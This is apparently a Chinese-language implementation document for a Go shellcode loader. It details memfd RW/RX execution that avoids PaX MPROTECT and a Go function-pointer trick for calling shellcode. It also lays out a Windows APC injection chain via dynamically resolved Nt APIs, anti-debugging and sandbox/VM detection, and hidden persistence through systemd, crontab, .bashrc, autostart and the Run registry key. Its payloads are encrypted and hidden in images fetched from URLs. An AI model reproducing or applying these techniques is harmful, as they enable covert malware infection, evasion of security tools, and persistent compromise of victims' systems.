本文档为 README.md 的技术补充,专注于各模块内部实现细节。 项目概述、构建命令、更新日志请见 README.md。
使用 golang.org/x/sys/unix 包(syscall.RawSyscall6 已弃用)。
unix.MemfdCreate("", MFD_CLOEXEC)
→ unix.Ftruncate(fd, size)
→ unix.Mmap(fd, RW) 写入 shellcode
→ unix.Munmap(rwMem)
→ unix.Mmap(fd, RX) 独立 RX 映射,不调用 mprotect
→ goroutine + LockOSThread → callShellcode(addr)
优势:写入和执行分两次独立映射,不触发 W→X mprotect,可绕过 PaX/grsec MPROTECT 策略。
unix.Mmap(-1, RW, MAP_PRIVATE|MAP_ANONYMOUS)
→ copy shellcode
→ unix.Mprotect(RX)
→ goroutine + LockOSThread → callShellcode(addr)
Go func() 变量内部存储的是指向 {codePtr,...} 描述符的指针,调用时 runtime 先读取 *funcValue 得到代码地址,再跳转。
func callShellcode(addr uintptr) {
// funcval 作为单字段描述符,第一字段 = 真实代码指针
funcval := addr
var f func()
// 将 &funcval 写入 f 的内部指针字段
// 调用时:runtime 读取 *(&funcval) = addr,跳转到 addr ✓
*(*uintptr)(unsafe.Pointer(&f)) = uintptr(unsafe.Pointer(&funcval))
f()
}
⚠️ 错误做法:*(*func())(unsafe.Pointer(&shellcodeAddr))会把 addr 直接存为 func 值, runtime 读取*addr(shellcode 前8字节)当代码指针,导致SIGSEGV addr=0x0。
通过动态解析的 Nt 系列 API 执行:
| 步骤 | API | 说明 |
|---|---|---|
| 1 | RtlCreateHeap(HEAP_CREATE_ENABLE_EXECUTE) |
创建可执行堆 |
| 2 | RtlAllocateHeap(HEAP_ZERO_MEMORY) |
分配堆内存 |
| 3 | copy() |
写入 shellcode |
| 4 | NtProtectVirtualMemory(PAGE_EXECUTE_READ) |
改为 RX |
| 5 | NtCreateThreadEx(SUSPENDED) |
创建挂起线程 |
| 6 | NtQueueApcThread |
APC 注入 |
| 7 | EnumTimeFormatsA(callback) |
回调执行 |
| 8 | NtAlertResumeThread |
唤醒线程 |
| 方法 | 检测目标 | 实现 |
|---|---|---|
IsDebuggerPresent() |
调试器 | /proc/self/status TracerPid + ptrace(PTRACE_TRACEME) |
GetNtGlobalFlag() |
兼容接口 | 返回 0 |
IsSandboxed() |
容器 + 虚拟机 | /.dockerenv + /proc/1/cgroup + DMI + cpuinfo hypervisor |
注意:
IsSandboxed()会检测 VMware/VirtualBox/QEMU/KVM/Xen 等 hypervisor 特征, 在 Kali 虚拟机中测试时需在main_linux.go中注释掉antiAnalysis()调用。
| 检测项 | 方法 |
|---|---|
| 调试器 | PEB.BeingDebugged |
| 调试标志 | NtGlobalFlag & 0x70 |
| 沙箱模块 | PEB 模块链表遍历(sbiedll/vboxhook/vmtools 等) |
与 cmd/auto_cleaner/main_linux.go 清理逻辑完全对应:
| # | 安装位置 | auto_cleaner 清理动作 |
|---|---|---|
| 1 | ~/.local/share/.<random>/.<random> |
filepath.Glob("~/.local/share/.*/..*") |
| 2 | ~/.config/systemd/user/<appName>.service |
systemctl --user disable/stop + os.Remove |
| 3 | crontab @reboot <path> |
crontab -l 过滤 + crontab <tmpfile> |
| 4 | ~/.bashrc 追加行 |
cleanShellConfigs() 按 /.local/share/. 模式删除 |
| 5 | ~/.config/autostart/<appName>.desktop |
os.Remove(autostartDir/appName.desktop) |
service 和 desktop 文件名均使用 spm.appName(即隐藏目录名,如 .a1b2c3d4),
auto_cleaner 通过 filepath.Base(filepath.Dir(targetPath)) 反推该值,命名完全匹配。
- 复制到
os.TempDir()/<GUID>.exe(随机文件名,看起来像系统临时文件) - 写入
HKCU\Software\Microsoft\Windows\CurrentVersion\Run - 注册表项名基于源程序路径的 SHA256 哈希(前8字节),保证同一程序稳定复用
- 通过 PEB 获取 ntdll/kernel32 模块基址
- 解析 PE 导出表(DOS头 → NT头 → 导出目录 → 名称表 → 地址表)
- 缓存已解析地址(
sync.RWMutex保护) - 支持 API:RtlCreateHeap / RtlAllocateHeap / RtlFreeHeap / NtProtectVirtualMemory / NtCreateThreadEx / NtQueueApcThread / NtAlertResumeThread / EnumTimeFormatsA 等
空存根,golang.org/x/sys/unix 提供直接系统调用,无需动态解析。
加密格式:
[魔数"LGOENC1" 7B][迭代次数 4B][轮数 2B][盐 16B][nonce×N 12B×N][密文+GCM标签]
关键参数:
- 算法:AES-256-GCM
- 密钥派生:PBKDF2-HMAC-SHA256,迭代 210000 次
- 默认 3 轮加密,支持 1-64 轮
注意:DecryptBase64WithPassword 返回原始字节,不做内容清理。
若解密结果为 hex 字符串且含换行符,调用方需先用 strings.Fields 去除空白再传给 hex.DecodeString。
纯标准库实现(image/png + image/jpeg),无额外依赖。
与 cmd/encrypt/stego.go hideDataInImage 完全对应:
[4 字节大端长度头][data 字节流]
每一位依次占 R/G/B/A 通道 LSB,按像素从左到右、从上到下排列
| 函数 | 输入 | 说明 |
|---|---|---|
ExtractFromImage(path) |
本地文件路径 | 打开文件解码后提取 |
ExtractFromImageBytes(data) |
[]byte |
从内存图片字节提取(网络下载后直接使用) |
StegoDecryptFromImageBytes(imageData, password) |
图片字节 + 密码 | 提取 + 解析 blob + 解密,一步返回明文 |
if strings.HasSuffix(lower, ".png") || ... {
// 隐写模式:StegoDecryptFromImageBytes → 直接返回 shellcode 字节
} else {
// 文本模式:DecryptBase64WithPassword → hex decode → shellcode 字节
}URL 后缀决定走哪条路,主程序无需感知格式。
最后更新:2026-04-09 版本:v1.3.0